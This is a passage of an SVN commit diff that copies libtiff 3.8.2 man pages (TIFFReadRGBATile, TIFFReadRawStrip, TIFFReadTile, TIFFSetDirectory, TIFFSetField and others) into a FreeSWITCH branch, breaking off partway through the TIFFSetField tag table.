Copied: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFReadRGBATile.3tiff (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/man/TIFFReadRGBATile.3tiff) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFReadRGBATile.3tiff	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFReadRGBATile.3tiff	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,171 @@
+.\" $Id: TIFFReadRGBATile.3tiff,v 1.2 2005/11/02 11:07:18 dron Exp $
+.\"
+.\" Copyright (c) 1991-1997 Sam Leffler
+.\" Copyright (c) 1991-1997 Silicon Graphics, Inc.
+.\"
+.\" Permission to use, copy, modify, distribute, and sell this software and 
+.\" its documentation for any purpose is hereby granted without fee, provided
+.\" that (i) the above copyright notices and this permission notice appear in
+.\" all copies of the software and related documentation, and (ii) the names of
+.\" Sam Leffler and Silicon Graphics may not be used in any advertising or
+.\" publicity relating to the software without the specific, prior written
+.\" permission of Sam Leffler and Silicon Graphics.
+.\" 
+.\" THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+.\" EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+.\" WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+.\" 
+.\" IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+.\" ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+.\" OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+.\" WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+.\" LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+.\" OF THIS SOFTWARE.
+.\"
+.if n .po 0
+.TH TIFFReadRGBATile 3TIFF "December 10, 1998" "libtiff"
+.SH NAME
+TIFFReadRGBATile \- read and decode an image tile into a fixed-format raster
+.SH SYNOPSIS
+.B "#include <tiffio.h>"
+.sp
+.B "#define TIFFGetR(abgr)	((abgr) & 0xff)"
+.br
+.B "#define TIFFGetG(abgr)	(((abgr) >> 8) & 0xff)"
+.br
+.B "#define TIFFGetB(abgr)	(((abgr) >> 16) & 0xff)"
+.br
+.B "#define TIFFGetA(abgr)	(((abgr) >> 24) & 0xff)"
+.sp
+.BI "int TIFFReadRGBATile(TIFF *" tif ", uint32 " x ", uint32 " y ", uint32 *" raster ")"
+.SH DESCRIPTION
+.IR TIFFReadRGBATile
+reads a single tile of a tile-based image into memory, storing the result in
+the user supplied RGBA
+.IR raster .
+The raster is assumed to be an array of width times length 32-bit entries,
+where width is the width of a tile (TIFFTAG_TILEWIDTH) and length is the
+height of a tile (TIFFTAG_TILELENGTH). 
+
+.PP
+The 
+.IR x
+and 
+.IR y
+values are the offsets from the top left corner to the top left corner of the
+tile to be read.  They must be an exact multiple of the tile width and length. 
+
+.PP
+Note that the raster is assume to be organized such that the pixel at location
+(\fIx\fP,\fIy\fP) is \fIraster\fP[\fIy\fP*\fIwidth\fP+\fIx\fP]; with the
+raster origin in the 
+.I lower-left hand corner
+of the tile. That is bottom to top organization.  Edge tiles which partly fall
+off the image will be filled out with appropriate zeroed areas.
+
+.PP
+Raster pixels are 8-bit packed red, green, blue, alpha samples. The macros
+.IR TIFFGetR ,
+.IR TIFFGetG ,
+.IR TIFFGetB ,
+and
+.I TIFFGetA
+should be used to access individual samples. Images without Associated Alpha
+matting information have a constant Alpha of 1.0 (255).
+.PP
+See the 
+.IR TIFFRGBAImage (3TIFF) 
+page for more details on how various image types are converted to RGBA values.
+.SH NOTES
+Samples must be either 1, 2, 4, 8, or 16 bits. Colorimetric samples/pixel must
+be either 1, 3, or 4 (i.e.
+.I SamplesPerPixel
+minus
+.IR ExtraSamples ).
+.PP
+Palette image colormaps that appear to be incorrectly written as 8-bit values
+are automatically scaled to 16-bits.
+.PP
+.I TIFFReadRGBATile
+is just a wrapper around the more general
+.IR TIFFRGBAImage (3TIFF)
+facilities.  It's main advantage over the similar 
+.IR TIFFReadRGBAImage() 
+function is that for large images a single buffer capable of holding the whole
+image doesn't need to be allocated, only enough for one tile.  The 
+.IR TIFFReadRGBAStrip() 
+function does a similar operation for stripped images.
+.SH "RETURN VALUES"
+1 is returned if the image was successfully read and converted.
+Otherwise, 0 is returned if an error was encountered.
+.SH DIAGNOSTICS
+All error messages are directed to the
+.IR TIFFError (3TIFF)
+routine.
+.PP
+.BR "Sorry, can not handle %d-bit pictures" .
+The image had
+.I BitsPerSample
+other than 1, 2, 4, 8, or 16.
+.PP
+.BR "Sorry, can not handle %d-channel images" .
+The image had
+.I SamplesPerPixel
+other than 1, 3, or 4.
+.PP
+\fBMissing needed "PhotometricInterpretation" tag\fP.
+The image did not have a tag that describes how to display the data.
+.PP
+\fBNo "PhotometricInterpretation" tag, assuming RGB\fP.
+The image was missing a tag that describes how to display it, but because it
+has 3 or 4 samples/pixel, it is assumed to be
+.SM RGB.
+.PP
+\fBNo "PhotometricInterpretation" tag, assuming min-is-black\fP.
+The image was missing a tag that describes how to display it,
+but because it has 1 sample/pixel, it is assumed to be a grayscale
+or bilevel image.
+.PP
+.BR "No space for photometric conversion table" .
+There was insufficient memory for a table used to convert
+image samples to 8-bit
+.SM RGB.
+.PP
+\fBMissing required "Colormap" tag\fP.
+A Palette image did not have a required
+.I Colormap
+tag.
+.PP
+.BR "No space for tile buffer" .
+There was insufficient memory to allocate an i/o buffer.
+.PP
+.BR "No space for strip buffer" .
+There was insufficient memory to allocate an i/o buffer.
+.PP
+.BR "Can not handle format" .
+The image has a format (combination of
+.IR BitsPerSample ,
+.IR SamplesPerPixel ,
+and
+.IR PhotometricInterpretation )
+that
+.I TIFFReadRGBAImage
+can not handle.
+.PP
+.BR "No space for B&W mapping table" .
+There was insufficient memory to allocate a table used to map
+grayscale data to
+.SM RGB.
+.PP
+.BR "No space for Palette mapping table" .
+There was insufficient memory to allocate a table used to map data to 8-bit
+.SM RGB.
+.SH "SEE ALSO"
+.BR TIFFOpen (3TIFF),
+.BR TIFFRGBAImage (3TIFF),
+.BR TIFFReadRGBAImage (3TIFF),
+.BR TIFFReadRGBAStrip (3TIFF),
+.BR libtiff (3TIFF)
+.PP
+Libtiff library home page:
+.BR http://www.remotesensing.org/libtiff/

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFReadRawStrip.3tiff

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFReadRawStrip.3tiff (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/man/TIFFReadRawStrip.3tiff) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFReadRawStrip.3tiff	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFReadRawStrip.3tiff	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,64 @@
+.\" $Id: TIFFReadRawStrip.3tiff,v 1.2 2005/11/02 11:07:18 dron Exp $
+.\"
+.\" Copyright (c) 1988-1997 Sam Leffler
+.\" Copyright (c) 1991-1997 Silicon Graphics, Inc.
+.\"
+.\" Permission to use, copy, modify, distribute, and sell this software and 
+.\" its documentation for any purpose is hereby granted without fee, provided
+.\" that (i) the above copyright notices and this permission notice appear in
+.\" all copies of the software and related documentation, and (ii) the names of
+.\" Sam Leffler and Silicon Graphics may not be used in any advertising or
+.\" publicity relating to the software without the specific, prior written
+.\" permission of Sam Leffler and Silicon Graphics.
+.\" 
+.\" THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+.\" EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+.\" WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+.\" 
+.\" IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+.\" ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+.\" OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+.\" WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+.\" LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+.\" OF THIS SOFTWARE.
+.\"
+.if n .po 0
+.TH TIFFReadRawStrip 3TIFF "October 15, 1995" "libtiff"
+.SH NAME
+TIFFReadRawStrip \- return the undecoded contents of a strip of data from an
+open
+.SM TIFF
+file
+.SH SYNOPSIS
+.B "#include <tiffio.h>"
+.sp
+.BI "tsize_t TIFFReadRawStrip(TIFF *" tif ", tstrip_t " strip ", tdata_t " buf ", tsize_t " size ")"
+.SH DESCRIPTION
+Read the contents of the specified strip into the (user supplied) data buffer.
+Note that the value of
+.I strip
+is a ``raw strip number.'' That is, the caller must take into account whether
+or not the data is organized in separate planes (\c
+.IR PlanarConfiguration =2).
+To read a full strip of data the data buffer should typically be at least as
+large as the number returned by
+.IR TIFFStripSize .
+.SH "RETURN VALUES"
+The actual number of bytes of data that were placed in
+.I buf
+is returned;
+.IR TIFFReadEncodedStrip
+returns \-1 if an error was encountered.
+.SH DIAGNOSTICS
+All error messages are directed to the
+.BR TIFFError (3TIFF)
+routine.
+.SH "SEE ALSO"
+.BR TIFFOpen (3TIFF),
+.BR TIFFReadEncodedStrip (3TIFF),
+.BR TIFFReadScanline (3TIFF),
+.BR TIFFStripSize (3TIFF),
+.BR libtiff (3TIFF)
+.PP
+Libtiff library home page:
+.BR http://www.remotesensing.org/libtiff/

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFReadRawTile.3tiff

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFReadRawTile.3tiff (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/man/TIFFReadRawTile.3tiff) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFReadRawTile.3tiff	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFReadRawTile.3tiff	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,65 @@
+.\" $Id: TIFFReadRawTile.3tiff,v 1.2 2005/11/02 11:07:18 dron Exp $
+.\"
+.\" Copyright (c) 1988-1997 Sam Leffler
+.\" Copyright (c) 1991-1997 Silicon Graphics, Inc.
+.\"
+.\" Permission to use, copy, modify, distribute, and sell this software and 
+.\" its documentation for any purpose is hereby granted without fee, provided
+.\" that (i) the above copyright notices and this permission notice appear in
+.\" all copies of the software and related documentation, and (ii) the names of
+.\" Sam Leffler and Silicon Graphics may not be used in any advertising or
+.\" publicity relating to the software without the specific, prior written
+.\" permission of Sam Leffler and Silicon Graphics.
+.\" 
+.\" THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+.\" EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+.\" WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+.\" 
+.\" IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+.\" ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+.\" OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+.\" WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+.\" LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+.\" OF THIS SOFTWARE.
+.\"
+.if n .po 0
+.TH TIFFReadRawTile 3TIFF "October 15, 1995" "libtiff"
+.SH NAME
+TIFFReadRawTile \- return an undecoded tile of data from an open
+.SM TIFF
+file
+.SH SYNOPSIS
+.B "#include <tiffio.h>"
+.sp
+.BI "tsize_t TIFFReadRawTile(TIFF *" tif ", ttile_t " tile ", tdata_t " buf ", tsize_t " size ")"
+.SH DESCRIPTION
+Read the contents of the specified tile into the (user supplied) data buffer.
+Note that the value of
+.I tile
+is a ``raw tile number.'' That is, the caller must take into account whether
+or not the data is organized in separate planes (\c
+.IR PlanarConfiguration =2).
+.I TIFFComputeTile
+automatically does this when converting an (x,y,z,sample) coordinate quadruple
+to a tile number. To read a full tile of data the data buffer should typically
+be at least as large as the value returned by
+.IR TIFFTileSize .
+.SH "RETURN VALUES"
+The actual number of bytes of data that were placed in
+.I buf
+is returned;
+.IR TIFFReadEncodedTile
+returns \-1 if an error was encountered.
+.SH DIAGNOSTICS
+All error messages are directed to the
+.BR TIFFError (3TIFF)
+routine.
+.SH "SEE ALSO"
+.BR TIFFOpen (3TIFF),
+.BR TIFFReadEncodedTile (3TIFF),
+.BR TIFFReadTile (3TIFF),
+.BR TIFFTileSize (3TIFF),
+.BR libtiff (3TIFF)
+.PP
+Libtiff library home page:
+.BR http://www.remotesensing.org/libtiff/

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFReadScanline.3tiff

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFReadScanline.3tiff (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/man/TIFFReadScanline.3tiff) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFReadScanline.3tiff	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFReadScanline.3tiff	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,94 @@
+.\" $Id: TIFFReadScanline.3tiff,v 1.2 2005/11/02 11:07:18 dron Exp $
+.\"
+.\" Copyright (c) 1988-1997 Sam Leffler
+.\" Copyright (c) 1991-1997 Silicon Graphics, Inc.
+.\"
+.\" Permission to use, copy, modify, distribute, and sell this software and 
+.\" its documentation for any purpose is hereby granted without fee, provided
+.\" that (i) the above copyright notices and this permission notice appear in
+.\" all copies of the software and related documentation, and (ii) the names of
+.\" Sam Leffler and Silicon Graphics may not be used in any advertising or
+.\" publicity relating to the software without the specific, prior written
+.\" permission of Sam Leffler and Silicon Graphics.
+.\" 
+.\" THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+.\" EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+.\" WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+.\" 
+.\" IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+.\" ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+.\" OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+.\" WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+.\" LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+.\" OF THIS SOFTWARE.
+.\"
+.if n .po 0
+.TH TIFFReadScanline 3TIFF "October 15, 1995" "libtiff"
+.SH NAME
+TIFFReadScanline \- read and decode a scanline of data from an open
+.SM TIFF
+file
+.SH SYNOPSIS
+.B "#include <tiffio.h>"
+.sp
+.BI "int TIFFReadScanline(TIFF *" tif ", tdata_t " buf ", uint32 " row ", tsample_t " sample ")"
+.SH DESCRIPTION
+Read the data for the specified row into the (user supplied) data buffer
+.IR buf .
+The data are returned decompressed and, in the native byte- and bit-ordering,
+but are otherwise packed (see further below). The buffer must be large enough
+to hold an entire scanline of data. Applications should call the routine
+.IR TIFFScanlineSize
+to find out the size (in bytes) of a scanline buffer.
+The
+.I row
+parameter is always used by
+.IR TIFFReadScanline ;
+the
+.I sample
+parameter is used only if data are organized in separate planes (\c
+.IR PlanarConfiguration =2).
+.SH NOTES
+The library attempts to hide bit- and byte-ordering differences between the
+image and the native machine by converting data to the native machine order.
+Bit reversal is done if the
+.I FillOrder
+tag is opposite to the native machine bit order. 16- and 32-bit samples are
+automatically byte-swapped if the file was written with a byte order opposite
+to the native machine byte order,
+.PP
+In C++ the
+.I sample
+parameter defaults to 0.
+.SH "RETURN VALUES"
+.IR TIFFReadScanline
+returns \-1 if it detects an error; otherwise 1 is returned.
+.SH DIAGNOSTICS
+All error messages are directed to the
+.IR TIFFError (3TIFF)
+routine.
+.PP
+.BR "Compression algorithm does not support random access" .
+Data was requested in a non-sequential order from a file that uses a
+compression algorithm and that has
+.I RowsPerStrip
+greater than one.
+That is, data in the image is stored in a compressed form, and with multiple
+rows packed into a strip. In this case, the library does not support random
+access to the data. The data should either be accessed sequentially, or the
+file should be converted so that each strip is made up of one row of data.
+.SH BUGS
+Reading subsampled YCbCR data does not work correctly because, for 
+.IR PlanarConfiguration =2
+the size of a scanline is not calculated on a per-sample basis, and for
+.IR PlanarConfiguration =1
+the library does not unpack the block-interleaved samples; use the strip- and
+tile-based interfaces to read these formats.
+.SH "SEE ALSO"
+.BR TIFFOpen (3TIFF),
+.BR TIFFReadEncodedStrip (3TIFF),
+.BR TIFFReadRawStrip (3TIFF),
+.BR libtiff (3TIFF)
+.PP
+Libtiff library home page:
+.BR http://www.remotesensing.org/libtiff/

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFReadTile.3tiff

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFReadTile.3tiff (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/man/TIFFReadTile.3tiff) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFReadTile.3tiff	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFReadTile.3tiff	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,84 @@
+.\" $Id: TIFFReadTile.3tiff,v 1.2 2005/11/02 11:07:18 dron Exp $
+.\"
+.\" Copyright (c) 1988-1997 Sam Leffler
+.\" Copyright (c) 1991-1997 Silicon Graphics, Inc.
+.\"
+.\" Permission to use, copy, modify, distribute, and sell this software and 
+.\" its documentation for any purpose is hereby granted without fee, provided
+.\" that (i) the above copyright notices and this permission notice appear in
+.\" all copies of the software and related documentation, and (ii) the names of
+.\" Sam Leffler and Silicon Graphics may not be used in any advertising or
+.\" publicity relating to the software without the specific, prior written
+.\" permission of Sam Leffler and Silicon Graphics.
+.\" 
+.\" THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+.\" EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+.\" WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+.\" 
+.\" IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+.\" ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+.\" OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+.\" WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+.\" LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+.\" OF THIS SOFTWARE.
+.\"
+.if n .po 0
+.TH TIFFReadTile 3TIFF "December 16, 1991" "libtiff"
+.SH NAME
+TIFFReadTile \- read and decode a tile of data from an open
+.SM TIFF
+file
+.SH SYNOPSIS
+.B "#include <tiffio.h>"
+.sp
+.BI "tsize_t TIFFReadTile(TIFF *" tif ", tdata_t " buf ", uint32 " x ", uint32 " y ", uint32 " z ", tsample_t " sample ")"
+.SH DESCRIPTION
+Return the data for the tile
+.I containing
+the specified coordinates. The data placed in
+.I buf
+are returned decompressed and, typically, in the native byte- and
+bit-ordering, but are otherwise packed (see further below). The buffer must be
+large enough to hold an entire tile of data. Applications should call the
+routine
+.IR TIFFTileSize
+to find out the size (in bytes) of a tile buffer. The
+.I x
+and
+.I y
+parameters are always used by
+.IR TIFFReadTile .
+The
+.I z
+parameter is used if the image is deeper than 1 slice (\c
+.IR ImageDepth >1).
+The
+.I sample
+parameter is used only if data are organized in separate planes (\c
+.IR PlanarConfiguration =2).
+.SH NOTES
+The library attempts to hide bit- and byte-ordering differences between the
+image and the native machine by converting data to the native machine order.
+Bit reversal is done if the
+.I FillOrder
+tag is opposite to the native machine bit order. 16- and 32-bit samples are
+automatically byte-swapped if the file was written with a byte order opposite
+to the native machine byte order,
+.SH "RETURN VALUES"
+.IR TIFFReadTile
+returns \-1 if it detects an error; otherwise the number of bytes in the
+decoded tile is returned.
+.SH DIAGNOSTICS
+All error messages are directed to the
+.BR TIFFError (3TIFF)
+routine.
+.SH "SEE ALSO"
+.BR TIFFCheckTile (3TIFF),
+.BR TIFFComputeTile (3TIFF),
+.BR TIFFOpen (3TIFF),
+.BR TIFFReadEncodedTile (3TIFF),
+.BR TIFFReadRawTile (3TIFF),
+.BR libtiff (3TIFF)
+.PP
+Libtiff library home page:
+.BR http://www.remotesensing.org/libtiff/

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFSetDirectory.3tiff

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFSetDirectory.3tiff (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/man/TIFFSetDirectory.3tiff) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFSetDirectory.3tiff	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFSetDirectory.3tiff	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,79 @@
+.\" $Id: TIFFSetDirectory.3tiff,v 1.2 2005/11/02 11:07:18 dron Exp $
+.\"
+.\" Copyright (c) 1988-1997 Sam Leffler
+.\" Copyright (c) 1991-1997 Silicon Graphics, Inc.
+.\"
+.\" Permission to use, copy, modify, distribute, and sell this software and 
+.\" its documentation for any purpose is hereby granted without fee, provided
+.\" that (i) the above copyright notices and this permission notice appear in
+.\" all copies of the software and related documentation, and (ii) the names of
+.\" Sam Leffler and Silicon Graphics may not be used in any advertising or
+.\" publicity relating to the software without the specific, prior written
+.\" permission of Sam Leffler and Silicon Graphics.
+.\" 
+.\" THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+.\" EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+.\" WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+.\" 
+.\" IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+.\" ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+.\" OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+.\" WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+.\" LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+.\" OF THIS SOFTWARE.
+.\"
+.if n .po 0
+.TH TIFFSetDirectory 3TIFF "October 15, 1995" "libtiff"
+.SH NAME
+TIFFSetDirectory, TIFFSetSubDirectory \- set the current directory for an open
+.SM TIFF
+file
+.SH SYNOPSIS
+.B "#include <tiffio.h>"
+.sp
+.BI "int TIFFSetDirectory(TIFF *" tif ", tdir_t " dirnum ")"
+.br
+.BI "int TIFFSetSubDirectory(TIFF *" tif ", uint32 " diroff ")"
+.SH DESCRIPTION
+.I TIFFSetDirectory
+changes the current directory and reads its contents with
+.IR TIFFReadDirectory .
+The parameter
+.I dirnum
+specifies the subfile/directory as an integer number, with the first directory
+numbered zero.
+.PP
+.I TIFFSetSubDirectory
+acts like 
+.IR TIFFSetDirectory ,
+except the directory is specified as a file offset instead of an index; this
+is required for accessing subdirectories linked through a
+.I SubIFD
+tag.
+.SH "RETURN VALUES"
+On successful return 1 is returned. Otherwise, 0 is returned if 
+.I dirnum
+or
+.I diroff
+specifies a non-existent directory, or if an error was encountered while
+reading the directory's contents.
+.SH DIAGNOSTICS
+All error messages are directed to the
+.IR TIFFError (3TIFF)
+routine.
+.PP
+.BR "%s: Error fetching directory count" .
+An error was encountered while reading the ``directory count'' field.
+.PP
+.BR "%s: Error fetching directory link" .
+An error was encountered while reading the ``link value'' that points to the
+next directory in a file.
+.SH "SEE ALSO"
+.IR TIFFCurrentDirectory (3TIFF),
+.IR TIFFOpen (3TIFF),
+.IR TIFFReadDirectory (3TIFF),
+.IR TIFFWriteDirectory (3TIFF),
+.IR libtiff (3TIFF)
+.PP
+Libtiff library home page:
+.BR http://www.remotesensing.org/libtiff/

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFSetField.3tiff

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFSetField.3tiff (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/man/TIFFSetField.3tiff) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFSetField.3tiff	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/man/TIFFSetField.3tiff	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,217 @@
+.\" $Id: TIFFSetField.3tiff,v 1.4 2006/01/02 23:50:44 bfriesen Exp $
+.\"
+.\" Copyright (c) 1988-1997 Sam Leffler
+.\" Copyright (c) 1991-1997 Silicon Graphics, Inc.
+.\"
+.\" Permission to use, copy, modify, distribute, and sell this software and 
+.\" its documentation for any purpose is hereby granted without fee, provided
+.\" that (i) the above copyright notices and this permission notice appear in
+.\" all copies of the software and related documentation, and (ii) the names of
+.\" Sam Leffler and Silicon Graphics may not be used in any advertising or
+.\" publicity relating to the software without the specific, prior written
+.\" permission of Sam Leffler and Silicon Graphics.
+.\" 
+.\" THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+.\" EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+.\" WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+.\" 
+.\" IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+.\" ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+.\" OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+.\" WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+.\" LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+.\" OF THIS SOFTWARE.
+.\"
+.if n .po 0
+.TH TIFFSetField 3TIFF "October 29, 2004" "libtiff"
+.SH NAME
+TIFFSetField, TIFFVSetField \- set the value(s) of a tag in a
+.SM TIFF
+file open for writing
+.SH SYNOPSIS
+.B "#include <tiffio.h>"
+.sp
+.BI "int TIFFSetField(TIFF *" tif ", ttag_t " tag ", " ... ")"
+.sp
+.B "#include <stdarg.h>"
+.sp
+.BI "int TIFFVSetField(TIFF *" tif ", ttag_t " tag ", va_list " ap ")"
+.SH DESCRIPTION
+.IR TIFFSetField
+sets the value of a field
+or pseudo-tag in the current directory associated with
+the open
+.SM TIFF
+file
+.IR tif .
+(A
+.I pseudo-tag 
+is a parameter that is used to control the operation of the
+.SM TIFF
+library but whose value is not read or written to the underlying file.)
+To set the value of a field
+the file must have been previously opened for writing with
+.IR TIFFOpen (3TIFF);
+pseudo-tags can be set whether the file was opened for reading
+or writing.
+The field is identified by
+.IR tag ,
+one of the values defined in the include file
+.B tiff.h
+(see also the table below).
+The actual value is specified using a variable argument list,
+as prescribed by the
+.IR stdarg (3)
+interface (\c
+or, on some machines, the
+.IR varargs (3)
+interface.)
+.PP
+.IR TIFFVSetField
+is functionally equivalent to
+.IR TIFFSetField
+except that it takes a pointer to a variable
+argument list.
+.I TIFFVSetField
+is useful for writing routines that are layered
+on top of the functionality provided by
+.IR TIFFSetField .
+.PP
+The tags understood by
+.IR libtiff ,
+the number of parameter values, and the
+expected types for the parameter values are shown below.
+The data types are:
+.I char*
+is null-terminated string and corresponds to the
+.SM ASCII
+data type;
+.I uint16
+is an unsigned 16-bit value;
+.I uint32
+is an unsigned 32-bit value;
+.I uint16*
+is an array of unsigned 16-bit values.
+.I void*
+is an array of data values of unspecified type.
+
+Consult the
+.SM TIFF
+specification for information on the meaning of each tag.
+.PP
+.nf
+.ta \w'TIFFTAG_CONSECUTIVEBADFAXLINES'u+2n +\w'Count'u+2n +\w'TIFFFaxFillFunc \(dg'u+2n
+\fITag Name\fP	\fICount\fP	\fITypes\fP	\fINotes\fP
+.sp 5p
+TIFFTAG_ARTIST	1	char*
+TIFFTAG_BADFAXLINES	1	uint32
+TIFFTAG_BITSPERSAMPLE	1	uint16	\(dg
+TIFFTAG_CLEANFAXDATA	1	uint16
+TIFFTAG_COLORMAP	3	uint16*	1<<BitsPerSample arrays
+TIFFTAG_COMPRESSION	1	uint16	\(dg
+TIFFTAG_CONSECUTIVEBADFAXLINES	1	uint32
+TIFFTAG_COPYRIGHT	1	char*
+TIFFTAG_DATETIME	1	char*
+TIFFTAG_DOCUMENTNAME	1	char*
+TIFFTAG_DOTRANGE	2	uint16
